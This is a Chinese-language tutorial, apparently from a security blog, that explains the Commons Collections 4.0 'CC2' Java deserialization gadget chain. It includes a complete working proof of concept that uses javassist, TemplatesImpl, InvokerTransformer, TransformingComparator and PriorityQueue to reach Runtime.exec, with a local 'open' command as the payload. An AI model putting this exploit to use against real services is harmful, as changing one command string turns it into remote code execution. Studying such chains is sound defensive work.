前言
CC1之后的CC2的分析会简单一些
CC版本问题
首先这里说的是CC2链用的是4.0版本的,CC1的时候我用的是3.2.2版本的,就复现不成功CC2,下面贴出来maven依赖。
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
因为在3.1-3.2.1版本中TransformingComparator
类没有实现Serializable
接口,不能够被序列化,于是就不能在使用链上构造了。
完整POC
package com.red.javacodeaudit.serial;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2Test {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload = classPool.makeClass("CommonsCollections1123");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /Users/Red256/1.txt\");");
byte[] bytes = payload.toBytecode();
Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
Field name = templatesImpl.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templatesImpl,"test");
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(invokerTransformer);
PriorityQueue<Integer> queue = new PriorityQueue<Integer>(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.ser"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("cc2.ser"));
inputStream.readObject();
inputStream.close();
}
}
反射链分析
ObjectInputStream.readObject()
->PriorityQueue.readObject()
->PriorityQueue.heapify
->PriorityQueue.siftDown
->PriorityQueue.siftDownUsingComparator
->TransformingComparator.compare()
->InvokerTransformer.transform()
->TemplatesImpl.getTransletInstance
->cc2.newInstance()
->Runtime.exec()
TemplatesImpl
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload = classPool.makeClass("CommonsCollections1234");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /Users/Red256/1.txt\");");
byte[] bytes = payload.toBytecode();
POC这里的内容其实是javassist部分的知识,简单的来说就是动态的新创建了一个CommonsCollections1234
这个类中执行的是java.lang.Runtime.getRuntime().exec(\"open /Users/Red256/1.txt\");
这一段的代码,之后通过byte[] bytes = payload.toBytecode();
转换成二进制数据。
TemplatesImpl
介绍一下这个类的内容,在CC2的链中getTransletInstance
的方法是其中的一环,首先看到构造方法是protected
的并且我也没有发现什么可以能够实现它的方法。所以还是通过反射的方式去处理。getTransletInstance
方法的内容,可以看到该方法是调用了defineTransletClasses()
方法的跳转到defineTransletClasses()
方法看一下,是调用了_bytecodes[i]
中的代码,经过了loader.defineClass
返回的是_class[]
对象
找到说getTransletInstance
方法执行了_class.newInstance
方法通过反射得到了一个AbstractTranslet
类的对象,所以也有了上面的通过javassist将对象的父类设置成AbstractTranslet
.
于是现在就需要找到什么地方调用了getTransletInstance
,就会找到templatesImpl
的newTransformer
方法是调用的
这里就要思考newTransformer
怎么才能调用了,这里我们POC给出的方案是通过InvokerTransformer
类来反射调用,于是入口就变成了找到transform
方法,有点CC1的味道了。
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(invokerTransformer);
TransformingComparator
查看我们之后的POC
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(invokerTransformer);
这里就会说到TransformingComparator
这个类,根据上面的分析现在需要找的就是谁来执行transform
方法,于是就到了TransformingComparator
的compare
会调用传入参数的transform
方法TransformingComparator comparator = new TransformingComparator(invokerTransformer);
这段代码,通过构造函数来新建一个comparator
对象,查看构造方法
于是就新建一个InvokerTransformer
装入TransformingComparator
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator comparator = new TransformingComparator(invokerTransformer);
之后就应该找到什么去执行了compare()
方法了,其实就是PriorityQueue
PriorityQueue
POC中的代码就是
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);
siftDownUsingComparator
方法会调用comparator
的compare
方法,而这里的comparator
其实就是我们传入的TransformingComparator
,然后会执行他的compare
方法,这里通过反射来对对象附属性。siftDownUsingComparator
方法会在siftDown
中调用siftDown
会在heapify
调用,而heapify
会在readobject
复写点被调用。
最后来看POC的最后一段代码
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
设置queue.queue
为Object[]数组,内容为两个存在恶意代码的TemplatesImpl
实例实例化对象。调用heapify
方法的时候就会进行传参进去。
到此为止走到了readObject
方法之后就都走完了,这一条反序列化链也OK.